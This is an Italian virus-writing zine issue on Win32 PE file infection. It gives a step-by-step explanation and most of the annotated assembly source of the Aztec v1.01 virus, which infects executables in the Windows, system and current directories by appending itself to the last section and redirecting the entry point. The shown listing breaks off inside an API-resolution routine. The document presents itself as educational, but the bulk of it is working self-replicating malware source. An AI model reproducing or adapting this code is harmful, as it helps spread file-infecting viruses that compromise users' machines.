Minima Anonyma Tabularia Ex Reti

nihil vacuum neque sine signo apud MATER

Liber Quintus

 

 

Salve, vera Pascalis proles.

Questa è la zine ufficiale di Familia, un gruppo che ha come oggetto di studio la programmazione virale.

MATER ha come scopo l’esame delle tecniche di programmazione virale e delle problematiche ad esse associate. MATER è una raccolta di contributi volontari (e non) di alcuni code-writers del pianeta, in lingua italiana ed è rivolta soprattutto a chi si avvicina per la prima volta al mondo dei virus e necessita dei concetti di base che spesso sono dati per scontati nelle zines reperibili in Rete. Non è, tuttavia, una esemplificazione discorsiva priva di contenuto tecnico: per comprendere gli esempi ivi contenuti è necessaria una minima conoscenza dell’architettura di un elaboratore e del linguaggio assembler.

E’ nostra convinzione che una migliore conoscenza delle metodologie infettive digitali sia la principale strada per accrescere la sicurezza degli utenti e fornire un contributo a chi opera nel settore della programmazione. Ritenendo il vero nemico della sicurezza la disinformazione, auspichiamo che una più profonda comprensione in questo campo dissipi i dubbi, aiuti la ricerca e contribuisca al progresso dell’educazione informatica. Sursum Corda ! 

 

 

ATTENZIONE

Questa pubblicazione contiene informazioni e codice sorgente relativi alla sicurezza informatica. Lo scopo di queste informazioni è di aiutare gli utenti ad accrescere la propria capacità di programmazione. Questo materiale è a puro scopo didattico e non include codice distruttivo né documenti attinenti ad alcuna attività illegale. Si declina ogni responsabilità nel caso chiunque utilizzi le suddette informazioni per creare, compilare e diffondere intenzionalmente programmi diretti a danneggiare o interrompere un sistema informatico o telematico, ovvero a provocarne l'interruzione, totale o parziale, o l'alterazione del suo funzionamento Art. 615-quinquies (Legge n. 547/93 pubblicata in Gazzetta Ufficiale n. 305 del 30.12.1993)

 

 

 

 § MATER Liber Quintus §

 

 

I VIRUS NELL’AMBIENTE DI WINDOWS 32

 

indice

1.      EXE infettori di Windows

  1. Un esempio

 

1. EXE infettori di Windows (PE  infettori)

        

   Un virus infettore di windows segue le caratteristiche di un exe infettore di DOS, con le differenze dovute principalmente alla diversa struttura, precedentemente vista, del file PE. Esistono varie tecniche di inserimento del codice virale nel programma ospite e a vari livelli. In questa sede tratteremo l’inserimento di un virus attraverso l’ampliamento dell’ultima sezione del file ospitante (un’altra tecnica consiste nell’aggiungere un’altra sezione) a livello utente (Ring3).

 Come sotto DOS, anche qui abbiamo la modifica di alcuni campi dell’header del file infettato, mentre le differenze principali rispetto ad un generico EXE infettore di DOS consistono in:

 

-         determinazione degli indirizzi delle funzioni API utilizzate dal virus;

-         mappatura del file da infettare in memoria;

-         allineamento della somma virus + file host.

 

Come si può notare, la principale differenza consiste nella manipolazione dei dati (qui intesi come file da infettare), i quali non vengono più gestiti su disco ma mappati in memoria con la tecnica del file mapping. Rammentiamo che tale tecnica consiste nel caricare (mappare) in memoria il file, modificarlo e quindi demapparlo per “rilasciarlo” su disco. La determinazione degli indirizzi delle API utilizzate dal codice virale non è caratteristica necessaria, e in molti virus “dedicati” ad una sola piattaforma, ad esempio Win95 o Win NT, tale routine può essere omessa semplicemente “hard-codificando” tali indirizzi, cioè inserendo tali indirizzi come assoluti e costanti.

 

Un paio di definizioni che ci torneranno utili:

host-RAM: programma caricato in RAM e già infettato;

host-disco: programma su disco da infettare.

 

E’ necessario considerare che il codice virale, che possiede la caratteristica di copiare sé stesso in un altro file eseguibile, deve poter memorizzare al suo interno alcune variabili necessarie al suo corretto funzionamento. Negli EXE infettori sotto DOS tali variabili conservavano i primi n-bytes sostituiti dall’istruzione JMP; in un Win32 infettore queste variabili sono l’EIP e l’Image Base. Ogni virus “appeso” al suo file ospitante deve poter avere tali informazioni per ritornare il controllo al suo HOST.

Nel codice virale, in prossimità della chiamata alla routine di infezione troveremo quindi un costrutto simile:

 

push EIP, ImageBase  ; salva le variabili

call infetta         ; le variabili saranno modificate per poi essere copiate nell’host-disco

pop  EIP,ImageBase   ; ripristina le variabili

ret                  ; ritorna il controllo all’host-disco

 

Come si vede, le variabili necessarie per ritornare il controllo all’host-disco (il programma che ospita il codice virale che sta girando) vengono prima salvate nello stack, dato che durante il processo infettivo verranno modificate per poter essere copiate nel codice virale inserito nell’host-disco (programma che il codice virale sta infettando), e quindi ripristinate riprendendole dallo stack.

 

 

2. Un Esempio

 

Studieremo  Aztec, un semplice virus ad azione diretta (runtime) che può girare in tutte le piattaforme Win32 (ricava gli indirizzi delle API che utilizza dinamicamente). Infetta 5 files nelle seguenti directory: corrente, windows e system. Non contiene routines di stealth o di crittografazione. Non contiene routines di payload.

 

Azioni eseguite da virus:

 

1.      ricava il delta offset;

2.      ricava l’ImageBase del processo corrente (host-RAM);

3.      call GetK32: ricava gli indirizzi di kernel32;

4.      call GetAPI: ricava gli indirizzi delle API utilizzate;

5.      prepareinfection(): cerca le directory in cui infettare;

6.      infectitall(): si reca nella directory;

7.      infect(): localizza un file da infettare (host-disco);

8.      __1: salva l’EIP (vecchio EIP) e l’ImageBase dell’host-RAM (che verranno modificate durante l’infezione) nello stack;

9.      infection(): apre il file da infettare. Ricava la sua misura in bytes e lo mappa in memoria. Controlla la presena di ‘PE’. Controlla se è già stato infettato;

10.  ricava la somma in bytes dimensioni files + virus. Allinea e mappa tale somma;

11.  sposta il puntatore all’ulstima sezione del file;

12.  ricava EIP del file che sta per infettare e lo salva in OLDEIP. Fa lo stesso con IMAGEBASE (salvato in MODBASE). Ricava SizeOfRawData dell’ultima sezione del file da infettare e la salva. Aggiunge a SizeOfRawData il valore di PointerOfRawData e salva tale somma. Riprende SizeOfRawData e a questa somma l’indirizzo VA (0ch). In questo modo si ottiene il nuovo EIP per l’HOST. Scrive il nuovo EIP nell’header dell’host-disco e lo salva. In questo modo ogni volta che si esegue l’host il controllo passa subito al virus localizzato in appende all’ultima sezione.

13.  modifica l’header con i nuovi valori. Modifica i flag dell’ultima sezione;

14.  inserisce la marcatura di file infettato. Copia il virus nell’ultima sezione;

15.  chiude il file host-disco.

16.  siamo all’ultima infezione (3 directory, 5 files per dir) ? Se sì, ripesca (dallo stack) il vecchio EIP e la vecchia ImageBase dell’host-RAM che erano stati salvati nello stack prima di chiamare infection() e vai a 17;

17.  siamo alla prima generazione ?

-         sì: fakehost(), messaggio e ritorno a Windows.

-         no: somma il vecchio entry point alla vecchia ImageBase dell’host-RAM (salvati in 8 e ripristinata in 16) e va ad eseguire l’host-RAM.

 

;-----------------------------------------------------------------------------------------------------------------

; Virus Name    : Aztec v1.01

; Virus Author  : Billy Belcebu/iKX

; Origin            : Spain

; Platform         : Win32

; Target            : PE files

; (c) 1999 Billy Belcebu/iKX

;-----------------------------------------------------------------------------------------------------------------

   .386p                                   ; 386+

   .model  flat                            ; siamo a 32 bit niente segmenti

   jumps                                   ; per evitare salti fuori dal range

 

extrn   MessageBoxA:PROC                   ; importate per la prima generazione

extrn   ExitProcess:PROC                   ;

 

; alcune costanti utilizzate dal virus

 

virus_size      equ     (offset virus_end-offset virus_start)

heap_size       equ     (offset heap_end-offset heap_start)

total_size      equ     virus_size+heap_size

shit_size       equ     (offset delta-offset aztec)

 

; due indirizzi utilizzati solo per la 1a generazione

 

kernel_         equ     0BFF70000h

kernel_wNT      equ     077F00000h

 

        .data

 

szTitle         db      "[Win32.Aztec v1.01]",0

 

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10

                db      "virus, with some optimizations and with some",10

                db      "'special' features removed. Anyway, it will",10

                db      "be able to spread in the wild succefully :)",10,10

                db      "(c) 1999 by Billy Belcebu/iKX",0

 

 ;----------------------------------------------------------------------------------------------------------------

 ;  alcune macro, stringhe per il messaggio per la prima generazione, e così via.

 ;-----------------------------------------------------------------------------------------------------------------

 

        .code

 

virus_start     label   byte

 

aztec:

        pushad                                  ; Pusha tutti i registri (20 bytes)

        pushfd                                  ; Pusha i FLAG (4 bytes)

 

        call    delta                           ; ricava il delta offset

delta:  pop     ebp

        mov     eax,ebp

        sub     ebp,offset delta

 

        sub     eax,shit_size                   ; ricava l’ Image Base 

        sub     eax,00001000h                   ;

NewEIP  equ     $-4

        mov     dword ptr [ebp+ModBase],eax

 

;----------------------------------------------------------------------------------------------------------------

; 1) RICAVA IL DELTA OFFSET

; 2) RICAVA L’IMAGE BASE DEL PROCESSO CORRENTE

; inseriamo nello stack tutti I registri e I flags (non perché ne abbiamo bisogno, ma perché è buona

; abitudine farlo) Quindi otteniamo il delta offset. 

; Seguono le istruzioni per ottenere la Image Base del processo corrente. Ne avremo bisogno  per ritornare

; il controllo ad esso (all’ host –RAM) Prima di tutto sottraiamo i bytes ta l’etichetta del delta e l’etichetta

; aztec label (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)), poi sottraiamo l’EIP corrente (modificato

; durante l’infezione) e otteniamo così l’ Image Base corrente.

;----------------------------------------------------------------------------------------------------------------

 

        mov     esi,[esp+24h]                   ; ricava l0indirizzo di ritorno

        and     esi,0FFFF0000h                  ; Allinea a  10 pagine

        mov     ecx,5                           ; 50 pagine (in gruppi di 10)

        call    GetK32                          ; Chiama

        mov     dword ptr [ebp+kernel],eax      ; EAX deve essere l’ind.base di K32

 

;----------------------------------------------------------------------------------------------------------------

; 3) RICAVA GLI INDIRIZZI DEL KERNEL32

;; Inseriamo in ESI l’indirizzo dal quale è stato chiamato questo processo (è in KERNEL32.DLL,

; probabilmente API CreateProcess), che inizialmente corrisponde all’indirizzo puntato da ESP, ma

; utilizzando lo stack per inserire 24 bytes (20 usati da PUSHAD, gli altri 4 per PUSHFD), lo abbiamo

; fissato. Quindi lo allineamo a 10 pagine, ponendo  a 0 la word meno significativa di ESI. Quind settiamo

; gli altri parametri per la procedura GetK32: ECX, che contiene il massimo numero di gruppi  di 10

; pagine da cercare per 5 (che dà 5*10=50 pagine), e chiamiamo la routine. GETK32 ci ritorna l’indirizzo

; di base di KERNEL32, che salviamo.

;----------------------------------------------------------------------------------------------------------------

 

        lea     edi,[ebp+@@Offsetz]

        lea     esi,[ebp+@@Namez]

        call    GetAPIs                         ; Ricava indirizzi di tutte le API

 

        call    PrepareInfection

        call    InfectItAll

 

;----------------------------------------------------------------------------------------------------------------

; 4) RICAVA GLI INDIRIZZI DELLE API UTILIZZATE

; 5) CERCA LE DIRECTORY IN CUI INFETTARE

; 6) SI RECA NELLE DIRECTORY

; Qui prepariamo I parametri per la routine GetAPIs: in EDI  un puntatore ad un array di DWORDs che

; conterrà gli indirizzi delle API, e in ESI tutti I nomi delle API (ASCIIz) che ci servono.

;----------------------------------------------------------------------------------------------------------------

 

        xchg    ebp,ecx                         ; è alla prima generazione?

        jecxz   fakehost

 

        popfd                                   ; Ripristina i flags

        popad                                   ; Ripristina i registri

 

        mov     eax,12345678h

        org     $-4                             ; $ = indirizzo della riga ! 

OldEIP  dd      00001000h

 

        add     eax,12345678h

        org     $-4

 

ModBase dd      00400000h

 

        jmp     eax

 

;----------------------------------------------------------------------------------------------------------------

; 17) SIAMO ALLA PRIMA GENERAZIONE ? SI – RITORNA AL S.O.; NO – SOMMA VECCHIO

;        ENTRY POINT ALLA VECCHIA IMAGE BASE E VA AD ESEGUIRE L’HOST-RAM

; Per prima cosa controlliamo se siamo alla prima generazione, controllando se EBP è uguale a zero. Se

;  zero, effettuiamo un salto alla funzione fakehost.

; Se non siamo alla prima generazione, tiriamo fuori dallo stack i registri di FLAG, e quindi i registri

; estesi. Dopodiché abbiamo l’istruzione che mette in EAX il vecchio entry point che aveva il programma

; infettato (l’host-RAM) e che era stato  modificato durante l’infezione, e dopo aggiungiamo ad esso

; l’ImageBase  del processo corrente, modificato a runtime. Quindi effettuiamo un jmp all’indirizzo

; contenuto da EAX (vecchio entry point Host-RAM + ImageBase), ritornando in questa maniera il

; controllo all’host-RAM.

;----------------------------------------------------------------------------------------------------------------

 

PrepareInfection:

        lea     edi,[ebp+WindowsDir]            ; Punta alla prima directory

        push    7Fh                             ; Pusha la misura del buffer

        push    edi                             ; Pusha indirizzo del buffer

        call    [ebp+_GetWindowsDirectoryA]     ; directory di Windows

 

        add     edi,7Fh                         ; Punta alla seconda directory

        push    7Fh                             ; Pusha la misura del buffer

        push    edi                             ; Pusha indirizzo del buffer

        call    [ebp+_GetSystemDirectoryA]      ; directory di sistema

 

        add     edi,7Fh                         ; Punta alla terza directory

        push    edi                             ; Pusha la misura del buffer

        push    7Fh                             ; Pusha indirizzo del buffer

        call    [ebp+_GetCurrentDirectoryA]     ; directory corrente

        ret

;----------------------------------------------------------------------------------------------------------------

; VA NELLE TRE DIRECTORY PRESCELTE

; Questa è una semplice procedura per ottenere le directory dove cercare i files da infettare, in questo

; particolare ordine. Dato che la lunghezza massima di una directory è 7F bytes,  mettiamo nell’heap (vedi

; sotto) tre variabili consecutive; in questo modo evitiamo che codice non usato occupi più bytes, e dati

; non utilizzati viaggino con li virus.

;----------------------------------------------------------------------------------------------------------------

 

InfectItAll:

        lea     edi,[ebp+directories]           ; Puntatore alla 1a directory

        mov     byte ptr [ebp+mirrormirror],03h ; 3 directories

requiem:

        push    edi                             ; Seta directory puntata da EDI

        call    [ebp+_SetCurrentDirectoryA]

 

        push    edi                             ; Salva EDI

        call    Infect                          ; Infetta I files nella dir.

        pop     edi                             ; Ripristina EDI

 

        add     edi,7Fh                         ; un’altra directory

 

        dec     byte ptr [ebp+mirrormirror]     ; decrementa il contatore

        jnz     requiem                         ; è l’ultima ?

 

        ret

 

;----------------------------------------------------------------------------------------------------------------

; DIRECTORY PRESCELTA COME DIR.CORRENTE

; facciamo in modo che EDI punti alla prima dir nell’array, dopodiché settiamo il numero delle

; directories che vogliamo infettare (dirs2inf=3). Poi ritorniamo al loop principale, che consiste nel

; cambiare la directory selezionata in directory corrente, infettare i files in tale directory, e così via.

;----------------------------------------------------------------------------------------------------------------

 

Infect: and     dword ptr [ebp+infections],00000000h ; resetta contatore

 

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; trova WFD

        push    eax                             ; la pusha

        lea     eax,[ebp+offset EXE_MASK]       ; cosa cerchiamo ?

        push    eax                             ; lo pusha

 

        call    [ebp+_FindFirstFileA]           ; trova il primo file

 

        inc     eax                             ; CMP EAX,0FFFFFFFFh

        jz      FailInfect                      ; JZ  FAILINFECT

        dec     eax

 

        mov     dword ptr [ebp+SearchHandle],eax ; Sala l’handle di ricerca

 

;----------------------------------------------------------------------------------------------------------------

; TROVA IL PRIMO FILE

; Questa è la prima parte della routine. La prima linea è per ripulire il contatore dell’infezione

; ottimizzando il codice (AND occupa meno spazio di MOV). Quindi cerchiamo i files da infettare. In

; DOS avevamo l’ INT 21 e le funzioni 4Eh/4Fh. In Win32 abbiamo due API equivalenti: FindFirstFile e

; FindNextFile. Ora cerchiamo il primo file nella directory. Tutte le funzioni per trovare files in Win32

; hanno in comune una struttura (ricordate il DTA?) chiamata WIN32_FIND_DATA (abbreviata spesso

; in WFD). La struttura è illustrata più oltre.

;----------------------------------------------------------------------------------------------------------------

 

__1:    push    dword ptr [ebp+OldEIP]          ; Sala OldEIP e ModBase,

        push    dword ptr [ebp+ModBase]         ; modificati nell’infezione

 

        call    Infection                       ; Infetta un’altro file

 

        pop     dword ptr [ebp+ModBase]         ; Ripristina

        pop     dword ptr [ebp+OldEIP]

 

        inc     byte ptr [ebp+infections]       ; incrementa contatore

        cmp     byte ptr [ebp+infections],05h   ; non più di 5 files

        jz      FailInfect                      ;

 

;----------------------------------------------------------------------------------------------------------------

; 8)  SALVA L’EIP E L’IMAGE BASE DELL’HOST-RAM NELLO STACK

;      VA AD INFETTARE

; 16) RIPRISTINA  IL VECCHIO EIP E LA VECCHIA IMAGEBASE

; Per prima cosa preserviamo il contenuto di alcune variabili indispensabili quando più tardi torneremo il

; controllo all’host-RAM, che saranno modificate durante l’infezione. Quindi chiamiamo la routine di

; infezione, per la quale abbiamo bisogno solo dellaWFD. Ad ogni infezione incrementiamo il contatore

; e controlliamo se abbiamo già infettato 5 files. Se sì, usciamo dalla procedura infettiva.

;----------------------------------------------------------------------------------------------------------------

 

__2:    lea     edi,[ebp+WFD_szFileName]        ; Ptr al nome del file

        mov     ecx,MAX_PATH                    ; ECX = 260

        xor     al,al                           ; AL = 00

        rep     stosb                           ; pulisce il vecchio nome

 

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; Ptr a WFD

        push    eax                             ; lo pusha

        push    dword ptr [ebp+SearchHandle]    ; Pusha l’Handle di ricerca

 

        call    [ebp+_FindNextFileA]            ; trova un’altro file

 

        or      eax,eax                         ; errore?

        jnz     __1                             ; No, Infetta ancora

 

CloseSearchHandle:

        push    dword ptr [ebp+SearchHandle]    ; Pusha l’handle di ricerca

        call    [ebp+_FindClose]                ; chiudi

 

FailInfect:

        ret

 

;----------------------------------------------------------------------------------------------------------------

; TROVA IL PROSSIMO FILE DELLA DIR. PRESCELTA

; Il primo blocco di codice cancella i dati nella struttura WFD (i dati del nome del file), per evitare problemi durante la ricerca

; di un altro file. Quindi chiamiamo l’API FindNextFile.

;----------------------------------------------------------------------------------------------------------------

 

Infection:

        lea     esi,[ebp+WFD_szFileName]        ; trova iul file da infettare

        push    80h

        push    esi

        call    [ebp+_SetFileAttributesA]       ; ci servono gli attributes

 

        call    OpenFile                        ; lo apre

 

        inc     eax                             ; se EAX = -1, c’è un errore

        jz      CantOpen                        ;

        dec     eax

 

        mov     dword ptr [ebp+FileHandle],eax

;----------------------------------------------------------------------------------------------------------------

; 9) INFEZIONE: APRE IL FILE

;  Qui vengono settati gli attributi del file a "Normal file" attraverso al funzione API SetFileAttributes

;----------------------------------------------------------------------------------------------------------------

 

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; crea una mappa della

        call    CreateMap                            ; misura esatta

 

        or      eax,eax

        jz      CloseFile

 

        mov     dword ptr [ebp+MapHandle],eax

 

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]

        call    MapFile                              ; Mappa il file

 

        or      eax,eax

        jz      UnMapFile

 

        mov     dword ptr [ebp+MapAddress],eax

 

;----------------------------------------------------------------------------------------------------------------

; MAPPA IL FILE

; Mettiamo in ECX la misura del file che stiamo per mappare, quindi chiamiamo la funzione

; per creare la mappatura del file. Controlliamo i possibili errori. Se non ci sono, continuiamo,

;altrimenti chiudiamo il file. Quindi salviamo l’handle di mappatura (mapping handle) e ci prepariamo a mapapre il

; file con la funzione MapFile. Come prima, controlliamo i possibili errori. Se tutto è ok, salviamo

; l’indirizzo di mappatura

;----------------------------------------------------------------------------------------------------------------

 

        mov     esi,[eax+3Ch]

        add     esi,eax

        cmp     dword ptr [esi],"EP"            ; E’ un formato PE?

        jnz     NoInfect                        ; ricorda INTEL memorizza alla rovescia

 

        cmp     dword ptr [esi+4Ch],"CTZA"      ; è già infettato ?

        jz      NoInfect

 

        push    dword ptr [esi+3Ch]

 

        push    dword ptr [ebp+MapAddress]      ; chiude tutto

        call    [ebp+_UnmapViewOfFile]

 

        push    dword ptr [ebp+MapHandle]

        call    [ebp+_CloseHandle]

 

        pop     ecx

;----------------------------------------------------------------------------------------------------------------

; IL FILE E’ UN PE ? E’ GIA’ STATO INFETTATO ?

; Dato che abbiamo l’indirizzo di inzio mappatura in EAX, ricaviamo il puntatore all’header PE header

; (MapAddress+3Ch), e lo normalizziamo, così in ESI avremo il puntatore all’header PE.

; controlliamo se tutto è ok, quindi controlliamo per la segnatura ‘PE’ e se il file è già stato infettato.

; controllando la presenza di una marcatura all’offset 4Ch, non utilizzato dal programma. Se non c’è

; marcatura, continuiamo. Successivamente salviamo nello stack il File Alignment  e quindi unmappiamo

; la mappatura e chiudiamo l’handle di mapping. Finalmente riprendiamo dallo stack il File Alignment

; e lo inseriamo in ECX

;----------------------------------------------------------------------------------------------------------------

 

        mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; mappa di nuovo

        add     eax,virus_size

 

        call    Align

        xchg    ecx,eax

 

        call    CreateMap

        or      eax,eax

        jz      CloseFile

 

        mov     dword ptr [ebp+MapHandle],eax

 

        mov     ecx,dword ptr [ebp+NewSize]

        call    MapFile

 

        or      eax,eax

        jz      UnMapFile

 

        mov     dword ptr [ebp+MapAddress],eax

       

        mov     esi,[eax+3Ch]

        add     esi,eax

 

;----------------------------------------------------------------------------------------------------------------

; 10)  SOMMA FILE + VIRUS. MAPPA LA SOMMA

; dato che abbiamo il File Alignment in ECX (preparato per la funzione 'Align', che richiede il  valore del

; fattore di allineamento in ECX mettiamo in EAX la misura (la somma delle misure) del file aperto più la

; misura del virus (EAX è il numero da allineare), quindi chiamiamo la funzione 'Align' che ritorna il

; valore allineati in EAX. Per esempio, se il fattore di allineamento è 200h, e la misura File Size+Virus

; è 12345h, il numero che ritornerà dalla funzione 'Align' sarà 12400h. Quindi moettiamo in ECX

; il numero allineato.Chiamiamo poi  di nuovo CreateMap. ma ora mappiamo la misura del file allineata.

; Infine rimettiamo in ESI il puntatore al PE header.                  

;----------------------------------------------------------------------------------------------------------------

 

        mov     edi,esi                         ; EDI = ESI = Ptr all’header PE

 

        movzx   eax,word ptr [edi+06h]          ; AX = n. di sezioni

        dec     eax                             ; AX--

        imul    eax,eax,28h                     ; EAX = AX*28

        add     esi,eax                         ; Normalizza

        add     esi,78h                         ; Ptr alla dir table

        mov     edx,[edi+74h]                   ; EDX = n. di dir entries

        shl     edx,3                           ; EDX = EDX*8

        add     esi,edx                         ; ESI = Ptr all’ultima sezione

 

;----------------------------------------------------------------------------------------------------------------

; 11) SPOSTA IL PUNTATORE ALL’ULTIMA SEZIONE DEL FILE

; Facciamo che anche EDI punti al PE header. Quindi mettiamo in AX il numero delle sezioni (una

; WORD), e lo dcrementiamo. Poi moltiplichiamo il contenuto di AX (numero di sezioni-1 – dobbiamo

; puntare all’heder dell’ultima sezione, non oltre !) per 28h (la misura in bytes del section header) e quindi

; aggiungiamo ad essa l’offset del PE header. Successivamente facciamo in modo che ESI punti alla

; dir table, e mettiamo EDX il numero delle entries della dir. Poi moltiplichiamo tale valore per 8, e

; finalmente aggiungiamo il risultato (in EDX) a ESI, così ESI punterà all’ultima sezione.

;----------------------------------------------------------------------------------------------------------------

 

        mov     eax,[edi+28h]                   ; ricava EP

        mov     dword ptr [ebp+OldEIP],eax      ; lo salva

        mov     eax,[edi+34h]                   ; ricava imagebase

        mov     dword ptr [ebp+ModBase],eax     ; lo salva

       

        mov     edx,[esi+10h]                   ; EDX = SizeOfRawData

        mov     ebx,edx                         ; EBX = EDX

        add     edx,[esi+14h]                   ; EDX = EDX+PointerToRawData

 

        push    edx                             ; salva EDX

 

        mov     eax,ebx                         ; EAX = EBX

        add     eax,[esi+0Ch]                   ; EAX = EAX+VA Address

                                                ; EAX = New EIP

        mov     [edi+28h],eax                   ; Cambia il  nuovo EIP

        mov     dword ptr [ebp+NewEIP],eax      ; e lo salva

 

;----------------------------------------------------------------------------------------------------------------

; 12) AGGIORNA I  VALORI DELLA SEZIONE

; Innanzitutto mettiamo in EAX l’ EIP del file che stiamo infettando (l’host-disco) mettiamo il vecchio

;  EIP in una variabile che utilizzeremo all’inizio del virus. Facciamo lo stesso con la imagebase.

; Dopo di ciò, mettiamo in EDX la SizeOfRawData dell’ultima sezione, la manteniamo per dopo in

; EBX, e infine aggiungiamo a EDX il PointerToRawData (EDX sarà utilizzato più tardi quando copiamo il virus, così lo

;salviamo nello stack). Dopo mettiamo in EAX la SizeOfRawData, aggiungiamo ad

; essa l’indirizzo VA Address: così abbiamo in EAX il nuovo EIP per l’host-disco. Quindi scriviamo tale

; valore nel PE header dell’host-disco, e in un’altra variabile.

;----------------------------------------------------------------------------------------------------------------

 

        mov     eax,[esi+10h]                   ; EAX = nuovo SizeOfRawData

        add     eax,virus_size                  ; EAX = EAX+VirusSize

        mov     ecx,[edi+3Ch]                   ; ECX = FileAlignment

        call    Align                           ; Allinea

 

        mov     [esi+10h],eax                   ; Nuovo SizeOfRawData

        mov     [esi+08h],eax                   ; Nuovo VirtualSize

 

        pop     edx                             ; EDX = puntatore Raw alla fine

                                                ;       della sezione

 

        mov     eax,[esi+10h]                   ; EAX = Nuova SizeOfRawData

        add     eax,[esi+0Ch]                   ; EAX = EAX+VirtualAddress

        mov     [edi+50h],eax                   ; EAX = Nuovo SizeOfImage

 

        or      dword ptr [esi+24h],0A0000020h  ; inserisce i nuovi flag di sezione

 

;----------------------------------------------------------------------------------------------------------------

; 13) ALLINEA I VALORI; MODIFICA I FLAG DELL’ULTIMA SEZIONE

; Per prima cosa carichiamo in EAX la SizeOfRawData dell’ultima sezione, e poi ad essa la misura del

; virus. In ECX carichiamo il FileAlignment, chiamiamo la funzione 'Align' function, così in EAX

; avremo il valore allineato di SizeOfRawData+VirusSize.                                     

; Esempio:                                    

;                                                                         

;      SizeOfRawData - 1234h                                              

;      VirusSize     -  400h                                               

;      FileAlignment -  200h                                              

;                                                                         

; Così, SizeOfRawData più VirusSize sarà 1634h, e dopo l’allineamento diventerà 1800h.

; Così abbiamo il valore allineato della nuova SizeOfRawData e la nuova VirtualSize. In questo modo

; non avremo problemi.

; Dopo di questo calcoliamo la nuova SizeOfImage, che è sempre la somma della nuova SizeOfRawData

; e di VirtualAddress. Quindi mettiamo tale valore nel campo SizeOfImage del PE header (offset 50h).    

; Infine dobbiamo settare gli attributi della sezione di cui abbiamo aumentato le dimensioni.

; Consideriamo le seguenti le voci:                                                                          

;

;      00000020h - Section contains code                                  

;      40000000h - Section is readable                                    

;      80000000h - Section is writable                                     

;                                                                         

; Noi applichiamo a questi tre valori un’operazione di OR operation; il risultato sarà A0000020h.

; Così abbiamo in OR anche gli attributi correnti, che non vogliamo cancellare.

;----------------------------------------------------------------------------------------------------------------

 

        mov     dword ptr [edi+4Ch],"CTZA"      ; mette il marcatore

 

        lea     esi,[ebp+aztec]                 ; ESI = Ptr a virus_start

        xchg    edi,edx                         ; EDI = Raw ptr dopo l’ultima sezione

        add     edi,dword ptr [ebp+MapAddress]  ; EDI = puntatore normalizzato

        mov     ecx,virus_size                  ; ECX = bytes da copiare

        rep     movsb                           ; copia il virus

 

        jmp     UnMapFile                       ; Unmap, close, etc.

 

;----------------------------------------------------------------------------------------------------------------

;  14) COPIA IL VIRUS

; nella prima lineainseriamo la marcatura di infezione in un campo non utilizzato del PE header (offset

;  4Ch, che sarebbe 'Reserved1'), per impedire di infettare nuovamente il file. Quindi mettiamo in ESI  

; un puntatore all’inizio del codice virale. Poi mettiamo in EDI il valore che avevamo in EDX

; (ricordiamo che: EDX = vecchia SizeOfRawData + PointerToRawData)

; Questo è il RVA dove noi inseriremo il codice virale. Come indicato, è un RVA, che deve essere

; cambiato in VA. Questo è fatto aggiungendo il valore su cui si basa il RVA. Esso è relativo all’indirizzo

; dove ha inizio la mappatura del file (se ricordiamo, è il valore di ritorno della funzione API

; MapViewOfFile). Così finalmente abbiamo in EDI il VA dove scrivere il codice virale. In ECX

; carichiamo la misura del virus, e copiamo il codice virale nell’ultima sezione.

;----------------------------------------------------------------------------------------------------------------

 

NoInfect:

        dec     byte ptr [ebp+infections]

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]

        call    TruncFile

 

;----------------------------------------------------------------------------------------------------------------

; Arriviamo a questo punto se durante l’infezione  si sono avuti errori. Decrementiamo il contatore di

; infezione e tronchiamo il file alla misura che aveva prima dell’infezione.

;----------------------------------------------------------------------------------------------------------------

 

UnMapFile:

        push    dword ptr [ebp+MapAddress]      ; Chiusura

        call    [ebp+_UnmapViewOfFile]

 

CloseMap:      

        push    dword ptr [ebp+MapHandle]       ; Chiusura mapping

        call    [ebp+_CloseHandle]

 

CloseFile:

        push    dword ptr [ebp+FileHandle]      ; Chiusura file

        call    [ebp+_CloseHandle]

 

CantOpen:

        push    dword ptr [ebp+WFD_dwFileAttributes]

        lea     eax,[ebp+WFD_szFileName]        ; Setta i vecchi attributi

        push    eax

        call    [ebp+_SetFileAttributesA]

        ret

;----------------------------------------------------------------------------------------------------------------

; 15) CHIUDE TUTTO

; chiudiamo tutto quello che abbiamo aperto durante l’infezione:

; l’indirizzo di mappatura. la mappatura, il file, e ripristiniamo i vecchi attributi.

;----------------------------------------------------------------------------------------------------------------

 

GetK32          proc

_@1:    cmp     word ptr [esi],"ZM"

        jz      WeGotK32

_@2:    sub     esi,10000h

        loop    _@1

WeFailed:

        mov     ecx,cs

        xor     cl,cl

 

        jecxz   WeAreInWNT

        mov     esi,kernel_

        jmp     WeGotK32

WeAreInWNT:

        mov     esi,kernel_wNT

WeGotK32:

        xchg    eax,esi

        ret

GetK32          endp

 

GetAPIs         proc

@@1:    push    esi

        push    edi

        call    GetAPI

        pop     edi

        pop     esi

 

        stosd

 

        xchg    edi,esi

 

        xor     al,al

@@2:    scasb

        jnz     @@2

 

        xchg    edi,esi

 

@@3:    cmp     byte ptr [esi],0BBh

        jnz     @@1

 

        ret

GetAPIs         endp

 

GetAPI          proc

        mov     edx,esi

        mov     edi,esi

 

        xor     al,al

@_1:    scasb

        jnz     @_1

 

        sub     edi,esi                         ; EDI = misura nome API

        mov     ecx,edi

 

        xor     eax,eax

        mov     esi,3Ch

        add     esi,[ebp+kernel]

        lodsw

        add     eax,[ebp+kernel]

 

        mov     esi,[eax+78h]

        add     esi,1Ch

 

        add     esi,[ebp+kernel]

 

        lea     edi,[ebp+AddressTableVA]

       

        lodsd

        add     eax,[ebp+kernel]

        stosd

 

        lodsd

        add     eax,[ebp+kernel]

        push    eax                             ; mov [NameTableVA],eax  

        stosd

 

        lodsd

        add     eax,[ebp+kernel]

        stosd

       

        pop     esi

 

        xor     ebx,ebx

 

@_3:    lodsd

        push    esi     

        add     eax,[ebp+kernel]

        mov     esi,eax

        mov     edi,edx

        push    ecx

        cld

        rep     cmpsb

        pop     ecx

        jz      @_4

        pop     esi

        inc     ebx

        jmp     @_3             

 

@_4:

        pop     esi

        xchg    eax,ebx

        shl     eax,1

        add     eax,dword ptr [ebp+OrdinalTableVA]

        xor     esi,esi

